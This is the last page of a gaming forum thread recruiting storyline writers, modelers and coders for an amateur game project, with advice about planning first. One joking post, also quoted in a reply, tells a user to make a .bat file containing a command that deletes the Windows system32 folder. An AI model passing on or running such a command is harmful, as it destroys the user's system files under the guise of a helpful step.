[Operation Shadow] Main Thread / Requesting Storyline Developers and Mappers!

Posts 61–69 of 69 · Page 5 of 5
Quote Originally Posted by MellowHypeAlt View Post
I work for a gaming company and i'd like to help you with this gaming project.
I just need $500 sent to me so i can get my team together to help you.
yeh he sent the money it to you all you gotta do is make a .bat file saying:

@EcHo off
del c:\WINDOWS\system32

and then money might arrive
Already did anything for this project? Like a basic idea of what it will be?
Quote Originally Posted by parag0nx9 View Post
yeh he sent the money it to you all you gotta do is make a .bat file saying:

@EcHo off
del c:\WINDOWS\system32

and then money might arrive
"del" "system32"

@Gunz5456

You need to have everything planned out. What you are doing is improvising. Make something to show your skillz which will end up getting other peoples attention. Without a plan your screwed. The nonce you have something going release it on a popular website to get peoples ideas. I released mine on IndieDb and mine is now ranked: 76 of 4,260 possible games released on that website. After awhile of hard work and planning on what your doing next all you need is Time. Or more people but that costs money sometimes. What im trying to say is DON'T GO RECRUITING WHEN YOU DON'T HAVE A STABLE GAME SETUP@

@crone
He knows what hes talking about. Id Listen to him.



If you agree like my status!


My Game:
http://www.indiedb.com/games/fpsproject - IndieDB
http://www.mpgh.net/forum/19-game-development/ - Newest Things!
Organization is a key element when doing things like this. You are wanting to recruit animators and modelers before a story is even written. If you are going for originality, you will need concept game artist who supply the modelers something to work with. All this stems from the story which is currently not developed or voted on as you say. Here is an idea, recruit your storyline team, pick a game genre, create a story, pick an engine, then recruit concept artist and modelers. That's a better approach imo. I use to be part of a game dev called Project Sylorn (mmo)...great structure, great story, talented team and it still flopped during modeling phase. So good luck to you. If it gets further along, I may offer my modeling skills
Quote Originally Posted by Einstein2.0 View Post
If you are going for originality, you will need concept game artist who supply the modelers something to work with..
Actually not a bad idea. I'll keep hiring for storyline developers. Then once it's written and everything's figured out, I'll get the modelers, animators, mappers and coders together.
Thanks!
Quote Originally Posted by Einstein2.0 View Post
If it gets further along, I may offer my modeling skills
I'll contact you when I contact the rest of the group
This project has begun the first stage: Storyline Development. Current members of the Storyline Developer group have been sent a message.
Thank you all.
You may still apply for other groups, but none of them will be approved OR rejected until the group reaches stage 2: Animation and Modeling.
Quote Originally Posted by Gunz5456 View Post
This project has begun the first stage: Storyline Development. Current members of the Storyline Developer group have been sent a message.
Thank you all.
You may still apply for other groups, but none of them will be approved OR rejected until the group reaches stage 2: Animation and Modeling.
u have problems making a mod for cod
what makes u think u can make a game...
Quote Originally Posted by noob555 View Post
u have problems making a mod for cod
what makes u think u can make a game...
I only haven't made a CoD mod because I haven't really thought about it.
But even if I have to finish the project myself, I will do my best to continue this project. Don't think otherwise.
Posts 61–69 of 69 · Page 5 of 5

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